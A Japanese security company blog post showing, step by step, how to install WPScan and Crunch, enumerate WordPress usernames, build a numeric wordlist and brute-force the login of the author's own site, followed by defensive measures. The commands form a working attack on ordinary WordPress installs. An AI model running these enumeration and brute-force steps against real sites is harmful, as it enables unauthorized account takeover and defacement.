テックブログ

WordPressのサイトをハッキング(クラッキング)する方法と対策

2017年11月27日

どーも。
高校時代は盗塁が得意だったヨシダです。

今回はツールを使用してWordpressのサイトに侵入する(クラッキング)方法を紹介しますが、絶対に悪用しないでください。
どれだけセキュリティ対策というものが大事なのかをお伝えしたくて記事にしました。
また最後に、パスワードを割ってサイトへ侵入するまでを動画にしましたので是非ご覧ください。

対策についてはこちらのページhttps://www.leon-tec.co.jp/blog/yoshida/7532/)を参考にしていただければと思います。

使用するツールは「WPScan」と「Crunch」
侵入するサイトは僕のサイト(https://www.yoshidamasaaki.com/)です。
流れとしてはCrunchでパスワードのリストを作成し、WPScanでサイトにそのパスワードを高速に当てはめていき合致させます。

①WPScanのインストール

WPScanとは、Rubyで書かれたWordPressの脆弱性スキャンツールで、オープンソースで公開されています。
バージョンやユーザー名を表示でき、脆弱性のある部分を教えてくれます。
今回はローカルサーバーにCentOS7をいれてインストールしていきました。

まずは必要なパッケージをインストールします。

# yum -y install gcc openssl-devel readline-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel patch git bzip2

次にrbenvをインストールします。

# git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
# echo ‘export PATH=”$HOME/.rbenv/bin:$PATH”‘ >> ~/.bash_profile
# echo ‘eval “$(rbenv init -)”‘ >> ~/.bash_profile
# source ~/.bash_profile
# git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
# cd ~/.rbenv/plugins/ruby-build
# ./install.sh

ちゃんとrbenvがインストールされているか確認しておきましょう。

# rbenv -v

Rubyのバージョン2.4.2をインストールしていきます。

# rbenv install 2.4.2
# rbenv rehash
# rbenv global 2.4.2

Rubyがインストールされているか確認しておきましょう。

# ruby -v

それではWPScanをインストールしていきましょう。

# mkdir -p /root/tools
# cd /root/tools
# git clone https://github.com/wpscanteam/wpscan.git
# cd wpscan
# gem install bundler && bundle install –without test

アップデート方法は以下のようになります。

# cd /root/tools/wpscan
# git pull
# ruby wpscan.rb –update

②Crunchのインストール

CentOS7にバージョン3.6のcrunchをインストールしていきます。

# wget https://downloads.sourceforge.net/project/crunch-wordlist/crunch-wordlist/crunch-3.6.tgz
# tar xzvf crunch-3.6.tgz
# cd crunch-3.6
# make && make install

Debian/UbuntuやOS Xの場合は、以下の方法でもインストールできます。

# apt install -y crunch  ←Debian/Ubuntu系の場合
# brew install crunch  ←OS Xの場合

③WPScanの使用方法

まずWPScanをインストールしたファイルまで移動します。

# cd /root/tools/wpscan

クイックスキャンは以下のように実行します。

# ruby wpscan.rb –url <WordPressサイトのURL>

ユーザIDの情報が露呈していないかのチェックは以下のように実施します。

# ruby wpscan.rb –url <WordPressサイトのURL> –enumerate u


その他にも、WordPressサイトのURLのうしろに「/?author=<数字>」を加えてアクセスした際に、URLやページソースにユーザー名を表示させる方法もございます。(例:https://www.yoshidamasaaki.com/?author=04)

辞書攻撃でログインが行えるかどうかを調べるには、以下のコマンドで実行できます。

# ruby wpscan.rb –url <WordPressサイトのURL> -w <パスワードファイル(辞書ファイル)> -U <ユーザー名>

この時使用するパスワードファイルを②でインストールしたCrunchを使って作成します。
作成方法は④になります。

④Crunchの使用方法

まず、Crunchをインストールしたファイルまで移動します。

# cd crunch-3.6

使用方法としては、以下のコマンドのようになります。

# crunch <出力文字列の最短の長さ> <出力文字列の最長の長さ>[<使用する文字列>] [options]

オプションは以下のとおりです。

-b … -oで出力先ファイルが指定されている場合、出力ファイルのサイズを指定する
-c … -oで出力先ファイルが指定されている場合、出力ファイルの行数を指定する
-d … 重複する文字の数を制限する
-f … charset.lstファイルを指定して文字列を生成する
-i … 単語リストの文字の順序を逆転させる
-I … -t使用時に、@%^をそのまま解釈できるようになる
-o PATH … 生成した文字列を指定されたPATHに出力する
-p … 繰り返し文字を含まずに生成する(-sとの併用不可)
-q … 指定されたファイルから文字列を生成する(-pと同様、一度使用した文字は使わない)
-r … 前回実行した際のコマンドを再開する(-sとの併用不可)
-s … ワードリストを開始する特定の文字列を指定する
-t … @、%^の特定のパターンを設定する
-z … 出力ワードリストファイルを-oと一緒に圧縮する

例えばですが、「# crunch 1 3 0123456789 -o pass.txt」と入力すると、1字の0~9すべてから3字の0~9すべてまでをpass.txtに保存します。

その他に、Crunchを使用しなくても、OpenWall*などで辞書ファイルをダウンロードすることもできます。

*OpenWallは有名なパスワードクラッカー”John the Ripper”の開発元であり、そちらのWebサイトから辞書ファイル(単語をひたすら並べただけのテキストファイル)をダウンロードすることができる。
辞書ファイルは無料でダウンロードできるが、4000万個の単語が載っている有償版も販売している。

⑤ツールを使ってWordPressサイトに侵入してみる

今回はサイトのパスワードが4桁の数字であると仮定してみます。
実際に僕のサイト上であらかじめ、ユーザー名が「tst」パスワードが「4802」のアカウントを作成しておきました。

まずは、ツールをインストールしたサーバーにMacの人はターミナルからSSH接続します。
Windowsなどを使用している人は、その他SSH接続のできるツール(Tera Termなど)を使用してみてください。
IP(例:192.168.56.102)を指定して、root権限で接続します。

# ssh -l root 192.168.56.102

rootのパスワードを入力したら、Crunchを使用してパスワードが4桁の数字のパスワードファイル(辞書ファイル)を作成していきます。

# cd crunch-3.6
# crunch 4 4 0123456789 -o pass.txt

一応、作成できたか確認してみましょう。

# cat pass.txt


0000〜9999が書き込まれていますね。
次にWPScanまで移動して、先ほど作成したpass.txtをWordPressのサイトに自動であてはめていきます。
僕のサイト(https://www.yoshidamasaaki.com)で実行し、ユーザー名「tst」は④で割り出すことができます。

# cd /root/tools/wpscan
# ruby wpscan.rb –url https://www.yoshidamasaaki.com -w /root/crunch-3.6/passwd.txt -U tst


WPScanが実行され、ブルートフォースアタックをしているのがわかります。

パスワードが合致しなければ画像のように何も表示されません。

合致して成功すればPasswordのところに表示されます。

あとは、サイトの管理画面を表示させて侵入するだけです。
WordPressサイトの管理画面はURLに「/wp-admin」や「/wp-login.php」を加えると表示できます。(例:https://www.yoshidamasaaki.com/admin)
実際にユーザーIDとパスワードを入力するとダッシュボードページが表示できました。


一度侵入に成功すれば、サイトの改ざんやパスワードの変更などを容易に行うことができるようになってしまうので非常に危険です。

⑥対策方法

対策については冒頭でも言いましたが、こちらのページhttps://www.leon-tec.co.jp/blog/yoshida/7532/)を参考にしていただければと思います。

プラグインの「SiteGuard WP Plugin」を使用すれば、画像認証を導入したり、何度もログインするのを制限したり、管理画面のURLを変更できたりします。

また、管理画面にBasic認証を施して対策してもいいでしょう。

ユーザー名の露呈に関しましては、プラグインの「Edit Author Slug」を導入することによって外部からは、別のユーザー名が表示できるように簡単に設定することができます。


もちろん、「/?author=<数字>」でユーザー名をURLで確認してみても、その時設定したユーザー名で表示されます。

外部から見えるユーザー名が変更されただけで、実際にログインする際に使用するユーザー名は最初に設定したもののままになっております。

あとは、バックアップをこまめにとって、ハッカーに操作されないような場所に保管することが大事です。
セキュリティ対策をしたい、または相談したい方は、お気軽にレオンテクノロジーお問い合わせページまでご連絡いただけれればと思います。

最後にわかりやすいように、WordPressサイトに侵入するまでを動画にしましたので、是非ご覧ください。

もう一度言いますが、絶対に悪用しないでください。
勝手に人のサイトに侵入したらお縄になりますよ。
それでログを解析されて捕まったらダサいですよ。

ありがとうございました。